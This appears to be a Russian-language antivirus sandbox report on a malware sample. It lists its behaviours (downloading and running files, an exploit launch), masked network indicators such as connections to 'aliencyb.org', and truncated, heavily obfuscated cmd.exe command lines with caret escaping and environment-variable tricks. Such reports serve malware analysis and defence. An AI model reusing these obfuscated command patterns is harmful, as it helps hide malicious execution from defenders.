Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 ...
Сетевая активность
Подключается к
- 'ot#####s.aliencyb.org':443
TCP
Другие
- 'ot#####s.aliencyb.org':443
UDP
- DNS ASK co#####ncesdiary.com
- DNS ASK co##ink.com
- DNS ASK ot#####s.aliencyb.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 ...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' , , /V:oN , /r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^...
